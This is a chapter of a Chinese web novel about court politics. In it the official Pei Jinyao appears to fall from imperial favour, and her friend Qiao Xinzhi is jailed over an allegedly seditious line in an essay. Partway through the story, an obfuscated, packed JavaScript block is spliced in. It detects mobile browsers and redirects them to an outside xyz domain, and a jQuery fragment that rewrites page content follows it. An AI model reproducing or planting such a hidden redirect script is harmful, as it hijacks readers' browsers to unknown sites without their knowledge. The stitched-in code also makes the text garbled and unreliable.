“当然是不喜他了。”
“我看也是。”
“可是为何如此突然……不该是……”
先是从内侍私下里传出圣上震怒再是赏赐跳过了裴今遥,如今又搞出把她一手负责的案子移交给刑部,怎么看怎么都透露出裴今遥失了圣宠的意思啊。
朝堂上喜欢裴今遥的可远远不如不喜她的,这倒是没什么毕竟她又不是金银珠宝怎么可能人见人爱,更何况有些官员还自持视金钱如粪土。
最大的根源就在于她,实在是晋升得太快了,又太受崇祐帝喜欢看好。这让那些个为官数十载还只能担任低品小官的人如何看。
况她晋升自然也要占去位置,她占去了其他人想安排那就少了个坑。
总归不喜她的人近日可是得了好心情,与同僚聊起这事也多在言语间奚落她,就连言官们弹劾都更起劲了。
而这之间还发生了一件震惊了其他官员之事。
那就是——与裴今遥同年的榜眼焦元正,突然就被阁老破例点为了日讲官!
虽说是日讲官但除了偶尔侍奉在圣上行宫处记录言行外,更多还是充当东宫经官,为年仅六岁的太子通讲史学。
可这就已经是莫大的荣幸了。
此事一出再与裴今遥一对比,更让官员们心里犯嘀咕了,深觉这焦元正俨然又是一位裴式红人啊!再一打听,没想到这位焦榜眼已二十有六还没成婚、家中父母早亡、寄人篱下、品行端方……于是纷纷起了心思,准备将家中适龄的女眷介绍一二。
裴今遥并不理会外面的声音,大理寺内或许也有同僚如他们一般但没人敢在她面前说闲话。
礼部余大人贪污受贿的案子既然交给了刑部,那她就看别的案子。纷扰数日间也只有她身边的人才知道,裴大人如此短的时间内一连破了三案。
什么叫兵贵神速!这就叫了!
不知是巧合还是怎样,裴今遥这几日破的三案之中恰好有一起就是与禺东官员有关,那派官员原本还想用老方法压着大理寺糊弄过去,结果直接撞上裴今遥这块硬骨头上。
“好没道理。”左寺的杜衍路过看见转头散值后就跟裴今遥碰上了头,“他们痴傻不成居然还想让裴大人放过凶手?”
王慕祈摇头晃脑,伸出的手指也跟着一起摇晃,“非也非也,他们觉得与裴今遥并无多大的仇怨,最多因为罗景明可是他被抓了也被当作了弃子;再就是……圣上也不器重大人了,他们当然觉得还可以继续猖狂下去,以权压人咯。”
“或许也是在试探吧。”杜衍点点头,“不怪我娘子说宦海浮沉、宦海浮沉,这一留神怕是早溺水了。”
裴今遥站在他俩之间,就听见他们左一句右一句的全都把说完了,哪里还有自己插话的余地,就不由咋舌。
而杜王二人一看就不是真的找自己谈论正经事的,一个没注耳两人的话题就如风筝一般忽飘上忽飘下忽打着卷忽飞入云霄,早就从案子飘到远在南直隶的康大人又转到了街边的摊贩……
“明食轩的酸杏子果真不错!”杜衍开始是被裴今遥推荐的,买过几次后深得夫人喜欢便隔一日就要去买,“内子害喜严重,可真担心。”
“我夫人倒还好。”裴今遥下意识接过了话,“不过我认识一位女子郎中若需要可以看看。”
“喂,这里还有一个孤苦伶仃的人呢!”王慕祈听见这话十分的辛酸。
“所以你怎么还没有找到心仪的女子?”
“所以你怎么还没有找到心仪的女子?”
裴今遥和杜衍异口同声地话语又给了他致命一击,倍受打击的王慕祈在旁边捂着心口哼哼唧唧。
路过一家胡饼摊铺,几人还停下来买了些带回去吃。
“好嘞找您三文钱!”摊铺主人麻溜地包好连同找零的铜板一并递给裴今遥。
她正要接过却突然眼皮狠狠一跳,手指微颤没接牢稳心神也开了片刻小差,以致于铜板没接住从她指缝间掉落在了地上。
“哎哟。”王慕祈和杜衍看得分明连忙弯腰帮她捡了起来,裴今遥这才反应过来忙忙道谢接过。
离开了这摊铺又走了几步,两人就发觉裴今遥似乎有了心事频频走神,便开口问了下。
裴今遥摸了摸跳动得狠的右眼皮子,心底没由来地掠过几丝不安,“没事……总觉得会发生什么事。”
他二人面面相觑,也说不出来个一二三只能宽慰她几句。
没多久几人归家的方向分错便道了别分开了,裴今遥所住的南城区最近自然也是最先到家的。一进门她就打量起府内的人与事,与往常并无区别怎么看也不像会发生事故的模样,至于顾长夜那就更不用她担心了,她相信即便是下一刻京城遭遇天降星陨,他也会安然无恙。
可那就怪了,裴今遥杵着下颌,将好友也一一在心中默念而过。
或许是因为这份不安分,抑或者是日有所思夜有所梦,哪怕是睡梦中她都睡得格外不踏实,再次醒来只觉得身子骨酸痛不已,神情萎靡。
看见她这副模样的官员同僚们却对她失了圣宠一事更加的坚信不疑了!
-
裴今遥于公案上处理事务,却听见院中脚步焦急迅猛,她放下笔正以为大理寺遇上了什么大案子,却没想到那脚步越来越近、越来越近,然后就直接冲了进来,而来人她也是眼熟的。
是东方泽的贴身书童——观柳。
观柳神色匆忙,她立刻起身迎上去询问:“怎这般?莫不是东方……”
“是乔新知、乔大人出事了!!”观柳已是气喘吁吁可说出的话却很连贯,“裴大人你快去想想办法吧!”
“边走边说。”
裴今遥皱着眉顾不上让观柳歇息了,带着他又原路返回,不过在路过大理寺的马厩时直接要了两匹马。看守马厩的差役见她脚步匆匆也没多问,牵了两匹就将缰绳递在她手里。
有了马匹自然是方便多了。
观柳缓和了一口气才将来龙去脉跟她讲清楚。
乔新知也算是无妄之灾。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905767|172357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
举国上下但凡是文人学子那必然是要读书习字,读了书当然还需要写文章、写诗,若是同窗、学院之间甚至是南北之间,谈起一件事都会引来无数学子们书写一番。可以说,哪怕你没考上一星半点的功名,也少不了写出东西来。
若裴今遥爱作诗,那乔新知就是爱写文章策论。国子监龚云枭一案暴露,紧跟着裴今遥檄文的也还有大量文官、文人的批判之作,乔新知也不例外,他足足写了三篇都在抨击。
原本这是没什么的,可就在两天前乔新知新写了一篇有关海商的文章,其中一句“望月而欣叹”就被有心人翻了出来,呈到了内阁面前告出他大不敬之罪,说他怀有异心是本朝奸民,所写文章的字字句句都诡谲暧昧难以接受,怕是妄图蛊惑人心!定要严惩不殆才行!
“望月而欣叹”顾名思义,就是表述人看着月亮高兴感叹罢了再延展也该是站在如今感怀过往。可有些人却强行扭曲文字的含义,乔新知文中提及的海商自然有以瀚海城为例,他与裴今遥是同乡也是瀚海城人。而瀚海城这名字是大棠才改换的,在大棠之前它原叫海月城……
海“月”、海“月”。
那这句“望月而欣叹”到底是望的哪轮月,叹的又是哪朝哪代的事呢?况且乔新知罗列海商益处的十几条中也恰好有前朝前代的一条!这还不能证明他心怀不轨吗?!
状告那人把折子一递到内阁,就被符洮拿到了手,他一看就大为赞同不顾其余阁老的反对坚持要请圣上过目。也不知他到底说了些什么,总之乔新知人还在观政就被锦衣卫抓了个正着,关押起来了。
“太荒谬了!”东方泽重重地拍在木桌上,满腔怒火在看见裴今遥的那一刻全都释放了出来。
焦元正今日轮到去东宫讲学,所以此刻能商量的也只有他二人了。同年之间或许想帮忙的也有不少,可正当值不好把人都叫来商议。
“是谁状告的?”裴今遥人还没坐下就急忙追问。
“不知。”东方泽摇摇头,“只听李兄他们说前两日他们小聚过,新知请他们过过目。”他说着说着突然想起一人来,“尤锦程,莫非是他?”
裴今遥初听这名字有些陌生,回忆了片刻才想起这尤锦程是时常跟在孟清禹身边的其中一人,孟清禹一行人是看不顺眼他们不假。
但她却觉得应当不是,“同年之间若真出了事大家都面上无光,未免也太损敌一千自损八百了。”
“倒也是。”东方泽也是气上头了才想到这人,听了裴今遥的话再跟着深想也觉得不可能。
“怎么办?我爹名头虽大可他是个武官又早就交了兵权就连西北都交给寒将军镇守了,整日在家无所事事,与文官交情还差……”他一张口就把他爹贬到了尘土之中,“祖父……祖父他老人家的确是桃李满天下了,可他不在京城……”
“别急。”
裴今遥拍了拍他的手。
“符大人请圣上将新知判个绞监候,圣上却只是暂且将他关押了,还有的斡旋。”